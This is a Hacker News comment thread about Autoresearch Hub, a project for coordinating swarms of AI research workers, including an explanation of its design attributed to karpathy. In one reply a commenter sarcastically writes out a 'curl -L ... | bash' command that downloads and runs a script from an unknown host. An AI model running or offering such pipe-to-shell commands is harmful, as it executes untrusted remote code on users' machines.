[HN Gopher] Autoresearch Hub
       ___________________________________________________________________
        
       Autoresearch Hub
        
       Author : EvgeniyZh
       Score  : 29 points
       Date   : 2026-03-14 08:35 UTC (1 days ago)
        
 (HTM) web link (autoresearchhub.com)
 (TXT) w3m dump (autoresearchhub.com)
        
       | cjbarber wrote:
       | I'm not the OP, though it seems the context for this is (via
       | @esotericpigeon):
       | 
       | https://github.com/karpathy/autoresearch/pull/92
        
         | motbus3 wrote:
         | Who knows. Site has no https I don't know what it is training
         | and why
        
       | m3kw9 wrote:
       | You guys really gonna copy and paste a prompt to your Claude CLI
       | which may or may not be setup sandbox/tools permissions
        
         | ivanjermakov wrote:
         | For science!
        
         | righthand wrote:
         | Just install my software to detect bad prompt strings first.
         | 
         | `curl -L
         | https://mycoolsvc.com/r4nd0mus3r/mycoolsoftware/master/insta...
         | | bash`
        
         | mnky9800n wrote:
         | It's like the old days when you opened up Kazaa and downloaded
         | smooth_criminial_alien_ant_farm.mp3.exe
        
         | GTP wrote:
         | You can (and should) read the prompt first. Just paste it
         | inside a text editor.
        
       | picardo wrote:
       | I'm curious what a "stripped down version" of Github can offer in
       | terms of functionality that Github does not? Is it not simpler to
       | have the agents register as Github repos since the infrastructure
       | is already in place?
        
       | gavinray wrote:
       | Seems like a shameless rip of the below, theme and all?
       | 
       | https://www.ensue-network.ai/autoresearch
        
         | pwatsonwailes wrote:
         | Both built by Claude Sonnet 4.6
        
         | dothack wrote:
         | Take a look at the GitHub repo: "forked from
         | karpathy/autoresearch"
        
       | karpathy wrote:
       | I was exploring how to parallelize autoresearch workers. The idea
       | is to have a trusted pool of workers who can verify contributions
       | from a much larger untrusted pool. It's backed bit a naked git
       | repo and a sqlite with a simple go server. It's a bit like block
       | chain in that blocks = commits, proof of work = finding a lower
       | val_bpb commit, and reward = place on the leaderboard. I wouldn't
       | push the analogy too far. It's something I'm experimenting with
       | but I didn't release it yet (except for briefly) because it's not
       | sufficiently simple/canonical. The core problem is how to neatly
       | and in a general way organize individual autoresearch threads
       | into swarms, inspired by SETI@Home, or Folding@Home, etc.
        
       | GTP wrote:
       | So, if I understand correctly, this is about finding the optimal
       | (or at least a better one) GPT architecture?
       | 
       | Anyway, "1980 experiments, 6 improvements" makes me wonder if
       | this is better than a random search or some simple heuristic.
        
       ___________________________________________________________________
       (page generated 2026-03-15 23:00 UTC)